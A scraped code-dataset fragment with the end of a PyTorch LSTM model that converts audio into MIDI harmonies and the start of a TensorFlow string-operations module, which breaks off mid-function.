% parameters)\n\n #-------------------------------------------------------------------------------------------\n def time_since(self, started) :\n elapsed = time.time() - started\n m = int(elapsed // 60)\n s = int(elapsed % 60)\n if m >= 60 :\n h = int(m // 60)\n m = m % 60\n return str(h) + \":\" + str(m) + \":\" + str(s).zfill(2)\n else :\n return str(m) + \":\" + str(s).zfill(2)\n\n #-------------------------------------------------------------------------------------------\n def forward_ff(self, x, ignored_prev_state) :\n \n output = torch.Tensor(len(x), len(x[0]), self.output_size);\n \n #[batch][sequence][inputs]\n for i in range(len(x)):\n output[i] = self.layer_2(self.middle_activation(self.middle_layer( self.activation_1(self.layer_1(x[i])))))\n \n return output, ignored_prev_state\n \n #-------------------------------------------------------------------------------------------\n #https://pytorch.org/tutorials/beginner/nlp/sequence_models_tutorial.html\n def forward(self, x, prev_state) :\n \n hidden = torch.Tensor(len(x), len(x[0]), self.lstm_input_size);\n \n if self.use_cpu == False:\n hidden = hidden.cuda()\n \n #[batch][sequence][inputs]\n for i in range(len(x)):\n hidden[i] = self.activation_1(self.layer_1(x[i]))\n \n #[sequence][batch][inputs]\n hidden = torch.transpose(hidden , 0, 1)\n \n lstm_out, prev_state = self.lstm(hidden, prev_state)\n #lstm_out, prev_state = self.lstm(hidden.view(x.shape[0], 1, -1), prev_state)\n \n #[batch][sequence][inputs]\n lstm_out = torch.transpose(lstm_out , 0, 1)\n \n output = torch.Tensor(len(lstm_out), len(lstm_out[0]), self.output_size);\n if self.use_cpu == False:\n output = output.cuda()\n \n for i in range(len(lstm_out)):\n output[i] = self.activation_3(self.layer_3(lstm_out[i]))\n\n return output, prev_state\n\n \n #return self.layer_3(self.activation_1(self.layer_1(x))), \"ignored\"\n\n #-------------------------------------------------------------------------------------------\n def get_initial_state(self, examples_per_batch) :\n #(cell state vector, hidden (output) state vector)\n # first argurment is num_layers\n # For LSTM\n return (torch.zeros(self.num_lstm_layers, examples_per_batch, self.lstm_hidden_size),\n torch.zeros(self.num_lstm_layers, examples_per_batch, self.lstm_hidden_size))\n\n # For LSTMCell\n #return (torch.zeros(sequence_length, self.lstm_hidden_size),\n # torch.zeros(sequence_length, self.lstm_hidden_size))\n \n # For RNN\n # return torch.zeros(self.num_lstm_layers, examples_per_batch, self.lstm_hidden_size)\n\n #-------------------------------------------------------------------------------------------\n #https://closeheat.com/blog/pytorch-lstm-text-generation-tutorial\n def do_forward_batch_and_get_loss(self, examples_per_batch, state, is_training):\n if is_training is True:\n self.train()\n else:\n self.eval()\n \n #loss_function = nn.CrossEntropyLoss() #for softmax\n loss_function = torch.nn.BCELoss() #for multiclass\n input, target_output = self.get_random_training_batch(examples_per_batch, is_training)\n #input, target_output = self.get_random_training_sequence(is_training)\n \n input = torch.FloatTensor(input)\n target_output = torch.FloatTensor(target_output) #For BCE Loss\n #target_output = torch.LongTensor(target_output) #For softmax Loss\n \n \n if self.use_cpu == False:\n input = input.cuda()\n target_output = target_output.cuda()\n\n output, state = self(input, state)\n \n \n loss = 0;\n for i in range(len(output)):\n loss += loss_function(output[i], target_output[i])\n \n return loss, state\n \n #-------------------------------------------------------------------------------------------\n #https://www.kdnuggets.com/2020/07/pytorch-lstm-text-generation-tutorial.html\n def train_model(self, num_batches, examples_per_batch, save_every, lr) :\n optimizer = optim.Adam(self.parameters())\n #optimizer = optim.SGD(self.parameters(), lr, momentum=0.9)\n for p in optimizer.param_groups : p['lr'] = lr\n start = time.time()\n \n #todo: how often to init state? Tutorial has once per epoch...\n #loss_function = torch.nn.BCELoss()\n \n for batch in range(self.get_saved_num_batches(), num_batches) :\n optimizer.zero_grad()\n state = self.get_initial_state(examples_per_batch)\n \n loss, state = self.do_forward_batch_and_get_loss(examples_per_batch, state, True)\n loss.backward()\n #torch.nn.utils.clip_grad_norm_(self.parameters(), 1)\n optimizer.step()\n \n elapsed = self.time_since(start)\n speed = (time.time() - start) / (batch + 1)\n\n print(\"Batch {0} of {1} --- Training Loss: {2} --- Elapsed Time: {3} --- Sec / Batch: {4}\".format(batch + 1, num_batches, loss.item(), elapsed, speed))\n if (((batch+1) % save_every) == 0) or (batch is num_batches-1):\n self.save_checkpoint(batch+1)\n self.sample();\n\n\n #-------------------------------------------------------------------------------------------\n def sample(self):\n #self.reverse_synthesize_gold_standard(\"Bach_Minuet\")\n #self.reverse_synthesize_gold_standard(\"Fugue\")\n #self.reverse_synthesize_gold_standard(\"Bach_Saraband\")\n #self.reverse_synthesize_gold_standard(\"MIDI_1\")\n #self.reverse_synthesize_gold_standard(\"MIDI_2\")\n self.reverse_synthesize_gold_standard(\"Bass\")\n self.reverse_synthesize_gold_standard(\"Soprano\")\n self.reverse_synthesize_gold_standard(\"All_But_Alto\")\n self.reverse_synthesize_gold_standard(\"Alto_Tenor\")\n self.reverse_synthesize_gold_standard(\"Flute\")\n self.reverse_synthesize_gold_standard(\"Chorale\")\n self.reverse_synthesize_gold_standard(\"Guitar\")\n self.reverse_synthesize_gold_standard(\"Josquin\")\n #state = self.get_initial_state(1);\n #input = np.random.rand(self.input_size + self.output_size + 1)\n \n \n #num_tests = 10000;\n \n #start_time = time.time()\n #for i in range(num_tests):\n # output, state = self.forward(input, state);\n #end_time = time.time()\n\n #print(\"{} iterations in {} seconds\".format(num_tests, end_time-start_time))\n #in_arr = input.data.numpy()[0][0]\n #print(\"matrix_val_t input[] = {\");\n #for i in range(len(in_arr)):\n #print(in_arr[i], end=\", \");\n #print(\"};\");\n \n #out_arr = output.data.numpy()[0][0]\n #print(\"matrix_val_t output[] = {\");\n #for i in range(len(out_arr)):\n # print(out_arr[i], end=\", \");\n #print(\"};\");\n #print(input.data.numpy());\n #print(output.data.numpy());\n \n\n #-------------------------------------------------------------------------------------------\n def export(self):\n folder = os.path.join(self.session_directory, \"matrices\")\n if not os.path.exists(folder):\n os.makedirs(folder)\n \n layer_1_weights = self.layer_1.weight.data.numpy()\n np.save(os.path.join(folder, \"layer_1_weights.npy\"), layer_1_weights)\n \n layer_1_biases = self.layer_1.bias.data.numpy();\n np.save(os.path.join(folder, \"layer_1_biases.npy\"), layer_1_biases)\n\n #(W_ii|W_if|W_ig|W_io)\n W = np.vsplit(self.lstm.weight_ih_l0.data.numpy(), 4)\n np.save(os.path.join(folder, \"Wi.npy\"), W[0])\n np.save(os.path.join(folder, \"Wf.npy\"), W[1])\n np.save(os.path.join(folder, \"Wg.npy\"), W[2])\n np.save(os.path.join(folder, \"Wo.npy\"), W[3])\n\n U = np.vsplit(self.lstm.weight_hh_l0.data.numpy(), 4)\n np.save(os.path.join(folder, \"Ui.npy\"), U[0])\n np.save(os.path.join(folder, \"Uf.npy\"), U[1])\n np.save(os.path.join(folder, \"Ug.npy\"), U[2])\n np.save(os.path.join(folder, \"Uo.npy\"), U[3])\n\n b = np.hsplit(self.lstm.bias_ih_l0.data.numpy() + self.lstm.bias_hh_l0.data.numpy(), 4)\n np.save(os.path.join(folder, \"bi.npy\"), b[0])\n np.save(os.path.join(folder, \"bf.npy\"), b[1])\n np.save(os.path.join(folder, \"bg.npy\"), b[2])\n np.save(os.path.join(folder, \"bo.npy\"), b[3])\n\n\n #middle_layer_weights = self.middle_layer.weight.data.numpy()\n #np.save(os.path.join(folder, \"middle_layer_weights.npy\"), middle_layer_weights)\n \n #middle_layer_biases = self.middle_layer.bias.data.numpy()\n #np.save(os.path.join(folder, \"middle_layer_biases.npy\"), middle_layer_biases)\n\n layer_2_weights = self.layer_2.weight.data.numpy()\n np.save(os.path.join(folder, \"layer_3_weights.npy\"), layer_2_weights)\n \n layer_3_biases = self.layer_3.bias.data.numpy()\n np.save(os.path.join(folder, \"layer_3_biases.npy\"), layer_3_biases)\n \n #-------------------------------------------------------------------------------------------\n def sample_softmax_with_temperature(self, x, temperature) :\n return x.argmax().item()\n #x = x / temperature\n #p = torch.nn.functional.softmax(x, dim=0).detach().numpy()\n #return np.random.choice(len(x), p=p)\n \n #-------------------------------------------------------------------------------------------\n def reverse_synthesize_gold_standard(self, filename) :\n gold_standards = glob.glob(os.path.join(self.data_directory, \"Validation/Gold_Standard/\", filename + \".wav\"))\n\n if len(gold_standards) < 1:\n print(\"Unable to find file {} for reverse synthesis\".format(filename))\n return\n gold_standard = gold_standards[0]\n #TEST\n #gold_standard = \"One_Note_Original_Input.wav\"\n #END TEST\n wav, sr = librosa.load(gold_standard, sr=self.sample_rate, mono=True)\n midi = MidiFile()\n track = MidiTrack()\n midi.tracks.append(track)\n start_sample = 0\n prev_notes = []\n output = torch.zeros(self.output_size) #np.zeros(self.output_size)\n #smoothed_spectrum = np.zeros(self.input_size)\n #smoothing_coefficient = 0.99\n frames_since_last_event = 0\n \n on_for = 1.0\n off_for = 1.0\n on_count = np.zeros(self.output_size)\n \n histogram = np.zeros(self.output_size);\n \n self.eval();\n \n state = self.get_initial_state(1)\n \n counter = 0;\n prev_active_note = -1;\n \n while (start_sample + self.dft_num_audio_samples) < len(wav):\n \n input = wav[start_sample : start_sample + self.dft_num_audio_samples]\n \n #input = [[self.calculate_audio_features(input)]]\n #input = [self.calculate_audio_features(input)]\n \n start_time = time.time()\n input = self.calculate_audio_features(input)\n \n #autoregressive input\n prev_output_vector, active_note = self.output_notes_to_vector(prev_notes)\n \n #if(active_note != prev_active_note):\n # counter = 1;\n #else:\n # counter = counter + 1\n \n #prev_active_note = active_note\n \n #histogram *= self.histogram_decay_coeff;\n #histogram[active_note] = 1;\n \n #input = [[np.concatenate((input, histogram, [counter]))]]\n input = [[np.concatenate((input, prev_output_vector))]]\n \n #input = [np.concatenate((input, output.detach().numpy()))]\n \n #input = np.multiply(input, 2);\n \n #input = np.multiply(input, 1.0-smoothing_coefficient);\n #smoothed_spectrum = np.multiply(input, smoothing_coefficient);\n #input = np.add(input, smoothed_spectrum)\n \n current_notes = []\n \n input = torch.FloatTensor(input)\n \n output, state = self(input, state)\n \n output = output[0][0]; #remove superfluous dimensions\n \n #TEST\n #for i in range(len(output)):\n #print(output[i].item())\n \n #exit(0)\n #END TEST\n \n end_time = time.time()\n #print(1000000 * (end_time - start_time))\n \n #output = output * 100000;\n #print(output)\n\n #max_output_index = output.argmax().item();\n #not really the max, just a sample with temperature\n #temperature = 0.5\n #max_output_index = self.sample_softmax_with_temperature(output, temperature);\n \n for i in range(len(output)) :\n if 0.5 < output[i] :\n #if np.random.sample() < output[i] :\n #if i == max_output_index :\n on_count[i] += 1.0 / on_for\n if on_count[i] > 1 :\n on_count[i] = 1\n if (on_count[i] == 1) or (i + self.lowest_midi_note in prev_notes) :\n current_notes.append(i + self.lowest_midi_note)\n \n else :\n on_count[i] -= 1.0 / off_for\n if on_count[i] <= 0 :\n on_count[i] = 0\n elif (i + self.lowest_midi_note in prev_notes) :\n current_notes.append(i + self.lowest_midi_note)\n \n \n #for i in range(len(output)) :\n # if output[i] > 0.5 :\n # if np.random.sample() < output[i] :\n # current_notes.append(i + self.lowest_midi_note)\n\n note_ons = np.setdiff1d(current_notes, prev_notes, assume_unique=True)\n note_offs = np.setdiff1d(prev_notes, current_notes, assume_unique=True)\n\n t = round((2 * midi.ticks_per_beat * frames_since_last_event * self.hop_size / sr))\n \n for n in note_offs:\n track.append(Message('note_off', note=n, velocity=0, time=t))\n t=0\n\n for n in note_ons:\n track.append(Message('note_on', note=n, velocity=64, time=t))\n t=0\n\n if len(note_offs) + len(note_ons) == 0:\n frames_since_last_event += 1\n else:\n frames_since_last_event = 1\n\n prev_notes = current_notes\n start_sample += self.hop_size\n \n #turn off any remaining notes at end of file\n for n in current_notes:\n track.append(Message('note_off', note=n, velocity=0, time=t))\n \n path = os.path.join(self.session_directory, self.model_save_prefix + \"gold_standard_\" + filename + str(self.get_saved_num_batches()).zfill(6) + \".mid\")\n midi.save(path)\n","repo_name":"michaelkrzyzaniak/squiggles-pipe-organ","sub_path":"machine_learning/Python/models/LSTM_Harmonizer.py","file_name":"LSTM_Harmonizer.py","file_ext":"py","file_size_in_byte":33018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36897396432","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\n\nfrom tensorflow.python.compat import compat\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import sparse_tensor\nfrom tensorflow.python.framework import tensor_util\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import gen_parsing_ops\nfrom tensorflow.python.ops import gen_string_ops\nfrom tensorflow.python.ops import math_ops\n\n# go/tf-wildcard-import\n# pylint: disable=wildcard-import\n# pylint: disable=g-bad-import-order\nfrom tensorflow.python.ops.gen_string_ops import *\nfrom tensorflow.python.util import compat as util_compat\nfrom tensorflow.python.util import deprecation\nfrom tensorflow.python.util import dispatch\nfrom tensorflow.python.util.tf_export import tf_export\n# pylint: enable=g-bad-import-order\n# pylint: enable=wildcard-import\n\n\n# pylint: disable=redefined-builtin\n@tf_export(\"strings.regex_full_match\")\n@dispatch.add_dispatch_support\ndef regex_full_match(input, pattern, name=None):\n r\"\"\"Match elements of `input` with regex `pattern`.\n\n Args:\n input: string `Tensor`, the source strings to process.\n pattern: string or scalar string `Tensor`, regular expression to use,\n see more details at https://github.com/google/re2/wiki/Syntax\n name: Name of the op.\n\n Returns:\n bool `Tensor` of the same shape as `input` with match results.\n \"\"\"\n # TODO(b/112455102): Remove compat.forward_compatible once past the horizon.\n if not compat.forward_compatible(2018, 11, 10):\n return gen_string_ops.regex_full_match(\n input=input, pattern=pattern, name=name)\n if isinstance(pattern, util_compat.bytes_or_text_types):\n # When `pattern` is static through the life of the op we can\n # use a version which performs the expensive regex compilation once at\n # creation time.\n return gen_string_ops.static_regex_full_match(\n input=input, pattern=pattern, name=name)\n return gen_string_ops.regex_full_match(\n input=input, pattern=pattern, name=name)\n\nregex_full_match.__doc__ = gen_string_ops.regex_full_match.__doc__\n\n\n@tf_export(\n \"strings.regex_replace\", v1=[\"strings.regex_replace\", \"regex_replace\"])\n@deprecation.deprecated_endpoints(\"regex_replace\")\n@dispatch.add_dispatch_support\ndef regex_replace(input, pattern, rewrite, replace_global=True, name=None):\n r\"\"\"Replace elements of `input` matching regex `pattern` with `rewrite`.\n\n Args:\n input: string `Tensor`, the source strings to process.\n pattern: string or scalar string `Tensor`, regular expression to use,\n see more details at https://github.com/google/re2/wiki/Syntax\n rewrite: string or scalar string `Tensor`, value to use in match\n replacement, supports backslash-escaped digits (\\1 to \\9) can be to insert\n text matching corresponding parenthesized group.\n replace_global: `bool`, if `True` replace all non-overlapping matches,\n else replace only the first match.\n name: A name for the operation (optional).\n\n Returns:\n string `Tensor` of the same shape as `input` with specified replacements.\n \"\"\"\n if (isinstance(pattern, util_compat.bytes_or_text_types) and\n isinstance(rewrite, util_compat.bytes_or_text_types)):\n # When `pattern` and `rewrite` are static through the life of the op we can\n # use a version which performs the expensive regex compilation once at\n # creation time.\n return gen_string_ops.static_regex_replace(\n input=input, pattern=pattern,\n rewrite=rewrite, replace_global=replace_global,\n name=name)\n return gen_string_ops.regex_replace(\n input=input, pattern=pattern,\n rewrite=rewrite, replace_global=replace_global,\n name=name)\n\n\n@tf_export(\"strings.format\")\ndef string_format(template, inputs, placeholder=\"{}\", summarize=3, name=None):\n r\"\"\"Formats a string template using a list of tensors.\n\n Formats a string template using a list of tensors, abbreviating tensors by\n only printing the first and last `summarize` elements of each dimension\n (recursively). If formatting only one tensor into a template, the tensor does\n not have to be wrapped in a list.\n\n Example:\n Formatting a single-tensor template:\n ```python\n sess = tf.compat.v1.Session()\n with sess.as_default():\n tensor = tf.range(10)\n formatted = tf.strings.format(\"tensor: {}, suffix\", tensor)\n out = sess.run(formatted)\n expected = \"tensor: [0 1 2 ... 7 8 9], suffix\"\n\n assert(out.decode() == expected)\n ```\n\n Formatting a multi-tensor template:\n ```python\n sess = tf.compat.v1.Session()\n with sess.as_default():\n tensor_one = tf.reshape(tf.range(100), [10, 10])\n tensor_two = tf.range(10)\n formatted = tf.strings.format(\"first: {}, second: {}, suffix\",\n (tensor_one, tensor_two))\n\n out = sess.run(formatted)\n expected = (\"first: [[0 1 2 ... 7 8 9]\\n\"\n \" [10 11 12 ... 17 18 19]\\n\"\n \" [20 21 22 ... 27 28 29]\\n\"\n \" ...\\n\"\n \" [70 71 72 ... 77 78 79]\\n\"\n \" [80 81 82 ... 87 88 89]\\n\"\n \" [90 91 92 ... 97 98 99]], second: [0 1 2 ... 7 8 9], suffix\")\n\n assert(out.decode() == expected)\n ```\n\n Args:\n template: A string template to format tensor values into.\n inputs: A list of `Tensor` objects, or a single Tensor.\n The list of tensors to format into the template string. If a solitary\n tensor is passed in, the input tensor will automatically be wrapped as a\n list.\n placeholder: An optional `string`. Defaults to `{}`.\n At each placeholder occurring in the template, a subsequent tensor\n will be inserted.\n summarize: An optional `int`. Defaults to `3`.\n When formatting the tensors, show the first and last `summarize`\n entries of each tensor dimension (recursively). If set to -1, all\n elements of the tensor will be shown.\n name: A name for the operation (optional).\n\n Returns:\n A scalar `Tensor` of type `string`.\n\n Raises:\n ValueError: if the number of placeholders does not match the number of\n inputs.\n \"\"\"\n # If there is only one tensor to format, we will automatically wrap it in a\n # list to simplify the user experience\n if tensor_util.is_tensor(inputs):\n inputs = [inputs]\n if template.count(placeholder) != len(inputs):\n raise ValueError(\"%s placeholder(s) in template does not match %s tensor(s)\"\n \" provided as input\" % (template.count(placeholder),\n len(inputs)))\n\n return gen_string_ops.string_format(inputs,\n template=template,\n placeholder=placeholder,\n summarize=summarize,\n name=name)\n\n\n# Note: tf.strings.split is exported in ragged/ragged_string_ops.py, which\n# defines a wrapper for this function.\ndef string_split(source, sep=None, skip_empty=True, delimiter=None): # pylint: disable=invalid-name\n \"\"\"Split elements of `source` based on `delimiter` into a `SparseTensor`.\n\n Let N be the size of source (typically N will be the batch size). Split each\n element of `source` based on `delimiter` and return a `SparseTensor`\n containing the split tokens. Empty tokens are ignored.\n\n If `sep` is an empty string, each element of the `source` is split\n into individual strings, each containing one byte. (This includes splitting\n multibyte sequences of UTF-8.) If delimiter contains multiple bytes, it is\n treated as a set of delimiters with each considered a potential split point.\n\n For example:\n N = 2, source[0] is 'hello world' and source[1] is 'a b c', then the output\n will be\n\n st.indices = [0, 0;\n 0, 1;\n 1, 0;\n 1, 1;\n 1, 2]\n st.shape = [2, 3]\n st.values = ['hello', 'world', 'a', 'b', 'c']\n\n Args:\n source: `1-D` string `Tensor`, the strings to split.\n sep: `0-D` string `Tensor`, the delimiter character, the string should\n be length 0 or 1. Default is ' '.\n skip_empty: A `bool`. If `True`, skip the empty strings from the result.\n delimiter: deprecated alias for `sep`.\n\n Raises:\n ValueError: If delimiter is not a string.\n\n Returns:\n A `SparseTensor` of rank `2`, the strings split according to the delimiter.\n The first column of the indices corresponds to the row in `source` and the\n second column corresponds to the index of the split component in this row.\n \"\"\"\n delimiter = deprecation.deprecated_argument_lookup(\n \"sep\", sep, \"delimiter\", delimiter)\n\n if delimiter is None:\n delimiter = \" \"\n delimiter = ops.convert_to_tensor(delimiter, dtype=dtypes.string)\n source = ops.convert_to_tensor(source, dtype=dtypes.string)\n\n indices, values, shape = gen_string_ops.string_split(\n source, delimiter=delimiter, skip_empty=skip_empty)\n indices.set_shape([None, 2])\n values.set_shape([None])\n shape.set_shape([2])\n return sparse_tensor.SparseTensor(indices, values, shape)\n\n\n# Note: tf.strings.split is exported in ragged/ragged_string_ops.py, which\n# defines a wrapper for this function.\ndef string_split_v2(source, sep=None, maxsplit=-1):\n \"\"\"Split elements of `source` based on `sep` into a `SparseTensor`.\n\n Let N be the size of source (typically N will be the batch size). Split each\n element of `source` based on `sep` and return a `SparseTensor`\n containing the split tokens. Empty tokens are ignored.\n\n For example, N = 2, source[0] is 'hello world' and source[1] is 'a b c',\n then the output will be\n\n st.indices = [0, 0;\n 0, 1;\n 1, 0;\n 1, 1;\n 1, 2]\n st.shape = [2, 3]\n st.values = ['hello', 'world', 'a', 'b', 'c']\n\n If `sep` is given, consecutive delimiters are not grouped together and are\n deemed to delimit empty strings. For example, source of `\"1<>2<><>3\"` and\n sep of `\"<>\"` returns `[\"1\", \"2\", \"\", \"3\"]`. If `sep` is None or an empty\n string, consecutive whitespace are regarded as a single separator, and the\n result will contain no empty strings at the start or end if the string has\n leading or trailing whitespace.\n\n Note that the above mentioned behavior matches python's str.split.\n\n Args:\n source: `1-D` string `Tensor`, the strings to split.\n sep: `0-D` string `Tensor`, the delimiter character.\n maxsplit: An `int`. If `maxsplit > 0`, limit of the split of the result.\n\n Raises:\n ValueError: If sep is not a string.\n\n Returns:\n A `SparseTensor` of rank `2`, the strings split according to the delimiter.\n The first column of the indices corresponds to the row in `source` and the\n second column corresponds to the index of the split component in this row.\n \"\"\"\n if sep is None:\n sep = \"\"\n sep = ops.convert_to_tensor(sep, dtype=dtypes.string)\n source = ops.convert_to_tensor(source, dtype=dtypes.string)\n\n indices, values, shape = gen_string_ops.string_split_v2(\n source, sep=sep, maxsplit=maxsplit)\n indices.set_shape([None, 2])\n values.set_shape([None])\n shape.set_shape([2])\n return sparse_tensor.SparseTensor(indices, values, shape)\n\n\ndef _reduce_join_reduction_dims(x, axis):\n \"\"\"Returns range(rank(x) - 1, 0, -1) if axis is None; or axis otherwise.\"\"\"\n if axis is not None:\n return axis\n else:\n # Fast path: avoid creating Rank and Range ops if ndims is known.\n if x.get_shape().ndims is not None:\n return constant_op.constant(\n np.arange(x.get_shape().ndims - 1, -1, -1), dtype=dtypes.int32)\n\n # Otherwise, we rely on Range and Rank to do the right thing at run-time.\n return math_ops.range(array_ops.rank(x) - 1, -1, -1)\n\n\n@tf_export(v1=[\"strings.reduce_join\", \"reduce_join\"])\n@deprecation.deprecated_args(None,\n \"keep_dims is deprecated, use keepdims instead\",\n \"keep_dims\")\n@deprecation.deprecated_endpoints(\"reduce_join\")\ndef reduce_join(inputs, axis=None, # pylint: disable=missing-docstring\n keep_dims=None,\n separator=\"\",\n name=None,\n reduction_indices=None,\n keepdims=None):\n keepdims = deprecation.deprecated_argument_lookup(\"keepdims\", keepdims,\n \"keep_dims\", keep_dims)\n if keep_dims is None:\n keep_dims = False\n axis = deprecation.deprecated_argument_lookup(\"axis\", axis,\n \"reduction_indices\",\n reduction_indices)\n return reduce_join_v2(\n inputs=inputs,\n axis=axis,\n keepdims=keepdims,\n separator=separator,\n name=name)\n\n\n@tf_export(\"strings.reduce_join\", v1=[])\n@dispatch.add_dispatch_support\ndef reduce_join_v2( # pylint: disable=missing-docstring\n inputs,\n axis=None,\n keepdims=False,\n separator=\"\",\n name=None):\n with ops.name_scope(None, \"ReduceJoin\", [inputs, axis]):\n inputs_t = ops.convert_to_tensor(inputs)\n axis = _reduce_join_reduction_dims(inputs_t, axis)\n return gen_string_ops.reduce_join(\n inputs=inputs_t,\n reduction_indices=axis,\n keep_dims=keepdims,\n separator=separator,\n name=name)\n\n\nreduce_join.__doc__ = deprecation.rewrite_argument_docstring(\n gen_string_ops.reduce_join.__doc__, \"reduction_indices\", \"axis\")\nreduce_join.__doc__ = reduce_join.__doc__.replace(\"tf.reduce_join(\",\n \"tf.strings.reduce_join(\")\n\n\n# This wrapper provides backwards compatibility for code that predates the\n# unit argument and that passed 'name' as a positional argument.\n@tf_export(v1=[\"strings.length\"])\n@dispatch.add_dispatch_support\ndef string_length(input, name=None, unit=\"BYTE\"):\n return gen_string_ops.string_length(input, unit=unit, name=name)\n\n\n@tf_export(\"strings.length\", v1=[])\n@dispatch.add_dispatch_support\ndef string_length_v2(input, unit=\"BYTE\", name=None):\n return string_length(input, name, unit)\n\n\nstring_length.__doc__ = gen_string_ops.string_length.__doc__\n\n\n@tf_export(v1=[\"substr\"])\n@deprecation.deprecated(None, \"Use `tf.strings.substr` instead of `tf.substr`.\")\ndef substr_deprecated(input, pos, len, name=None, unit=\"BYTE\"):\n return substr(input, pos, len, name=name, unit=unit)\n\nsubstr_deprecated.__doc__ = gen_string_ops.substr.__doc__\n\n\n@tf_export(v1=[\"strings.substr\"])\n@dispatch.add_dispatch_support\ndef substr(input, pos, len, name=None, unit=\"BYTE\"):\n return gen_string_ops.substr(input, pos, len, unit=unit, name=name)\n\nsubstr.__doc__ = gen_string_ops.substr.__doc__\n\n\n@tf_export(\"strings.substr\", v1=[])\n@dispatch.add_dispatch_support\ndef substr_v2(input, pos, len, unit=\"BYTE\", name=None):\n return gen_string_ops.substr(input, pos, len, unit=unit, name=name)\n\nsubstr_v2.__doc__ = gen_string_ops.substr.__doc__\n\n\nops.NotDifferentiable(\"RegexReplace\")\nops.NotDifferentiable(\"StringToHashBucket\")\nops.NotDifferentiable(\"StringToHashBucketFast\")\nops.NotDifferentiable(\"StringToHashBucketStrong\")\nops.NotDifferentiable(\"ReduceJoin\")\nops.NotDifferentiable(\"StringJoin\")\nops.NotDifferentiable(\"StringSplit\")\nops.NotDifferentiable(\"AsString\")\nops.NotDifferentiable(\"EncodeBase64\")\nops.NotDifferentiable(\"DecodeBase64\")\n\n@tf_export(\"string_split_and_pad\")\ndef string_split_and_pad(source, max_length, delimiter=\" \",\n default_value=\"\"):\n source = ops.convert_to_tensor(source, dtype=dtypes.string)\n delimiter = ops.convert_to_tensor(delimiter, dtype=dtypes.string)\n max_length = ops.convert_to_tensor(max_length, dtype=dtypes.int64)\n default_value = ops.convert_to_tensor(default_value, dtype=dtypes.string)\n\n values = gen_string_ops.string_split_and_pad(\n source, delimiter=delimiter, max_length=max_length,\n default_value=default_value)\n return values\n\nops.NotDifferentiable(\"StringSplitAndPad\")\n\n@tf_export(\"decode_dense\")\ndef decode_dense(values, dtype=dtypes.float32, name=None):\n return gen_string_ops.dense_decode(values, 0, dtype, name=name)\n\n\n@tf_export(\"decode_dense_int32\")\ndef decode_dense_int32(values, name=None):\n return decode_dense(values, dtypes.int32, name=name)\n\n\n@tf_export(\"decode_sparse\")\ndef decode_sparse(values, max_id, name=None):\n tensor_list = gen_string_ops.sparse_decode(\n values, max_id, [dtypes.int64, dtypes.int64, dtypes.int64], name=name)\n return sparse_tensor.SparseTensor(indices = tensor_list[0],\n values = tensor_list[1],\n dense_shape = tensor_list[2])\n\n@tf_export(\"decode_kv2dense\")\ndef decode_kv2dense(values, max_col, name=None):\n return gen_string_ops.kv2_dense_decode(\n values, max_col, [dtypes.float32], name=name)\n\n@tf_export(\"decode_kv2sparse\")\ndef decode_kv2sparse(values, max_id, name=None):\n tensor_list = gen_string_ops.kv2_sparse_decode(\n values, max_id, [dtypes.int64, dtypes.float32, dtypes.int64], name=name)\n return sparse_tensor.SparseTensor(indices = tensor_list[0],\n values = tensor_list[1],\n dense_shape = tensor_list[2])\n\nops.NotDifferentiable(\"DenseDecode\")\nops.NotDifferentiable(\"SparseDecode\")\nops.NotDifferentiable(\"KV2DenseDecode\")\nops.NotDifferentiable(\"KV2SparseDecode\")\n\n@tf_export(\"trans_csv_id2sparse\")\ndef trans_csv_id2sparse(records, max_id, id_as_value=True, field_delim=',',\n default_value=1, name=None):\n indices, values, dense_shape = gen_string_ops.trans_csv_id2_sparse(\n records, max_id, default_value, id_as_value, field_delim, name=name)\n return sparse_tensor.SparseTensor(indices, values, dense_shape)\n\n\n@tf_export(\"trans_csv_id2dense\")\ndef trans_csv_id2dense(records, max_id, id_as_value=False, field_delim=',',\n default_value=1, name=None):\n return gen_string_ops.trans_csv_id2_dense(\n records, max_id, default_value, id_as_value, field_delim, name=name)\n\n\n@tf_export(\"trans_csv_kv2sparse\")\ndef trans_csv_kv2sparse(records, max_id, field_delim=',',\n outtype=dtypes.float32, name=None):\n indices, values, dense_shape = gen_string_ops.trans_csv_kv2_sparse(\n records, max_id, outtype, field_delim, name=name)\n return sparse_tensor.SparseTensor(indices, values, dense_shape)\n\n\n@tf_export(\"trans_csv_kv2dense\")\ndef trans_csv_kv2dense(records, max_id, field_delim=',',\n outtype=dtypes.float32, name=None):\n return gen_string_ops.trans_csv_kv2_dense(\n records, max_id, outtype, field_delim, name=name)\n\n\n@tf_export(\"trans_csv_to_dense\")\ndef trans_csv_to_dense(records, max_id, field_delim=',',\n outtype=dtypes.float32, name=None):\n return gen_string_ops.trans_csv_to_dense(\n records, max_id, outtype, field_delim, name=name)\n\nops.NotDifferentiable(\"TransCsvID2Sparse\")\nops.NotDifferentiable(\"TransCsvID2Dense\")\nops.NotDifferentiable(\"TransCsvKV2Sparse\")\nops.NotDifferentiable(\"TransCsvKV2Dense\")\nops.NotDifferentiable(\"TransCsvToDense\")\n\n@tf_export(\"strings.to_number\", v1=[])\n@dispatch.add_dispatch_support\ndef string_to_number(input, out_type=dtypes.float32, name=None):\n r\"\"\"Converts each string in the input Tensor to the specified numeric type.\n\n (Note that int32 overflow results in an error while float overflow\n results in a rounded value.)\n\n Args:\n input: A `Tensor` of type `string`.\n out_type: An optional `tf.DType` from: `tf.float32, tf.float64, tf.int32,\n tf.int64`. Defaults to `tf.float32`.\n The numeric type to interpret each string in `string_tensor` as.\n name: A name for the operation (optional).\n\n Returns:\n A `Tensor` of type `out_type`.\n \"\"\"\n return gen_parsing_ops.string_to_number(input, out_type, name)\n\n\n@tf_export(v1=[\"strings.to_number\", \"string_to_number\"])\ndef string_to_number_v1(\n string_tensor=None,\n out_type=dtypes.float32,\n name=None,\n input=None):\n string_tensor = deprecation.deprecated_argument_lookup(\n \"input\", input, \"string_tensor\", string_tensor)\n return gen_parsing_ops.string_to_number(string_tensor, out_type, name)\n\nstring_to_number_v1.__doc__ = gen_parsing_ops.string_to_number.__doc__\n\n\n@tf_export(\"strings.to_hash_bucket\", v1=[])\n@dispatch.add_dispatch_support\ndef string_to_hash_bucket(input, num_buckets, name=None):\n # pylint: disable=line-too-long\n 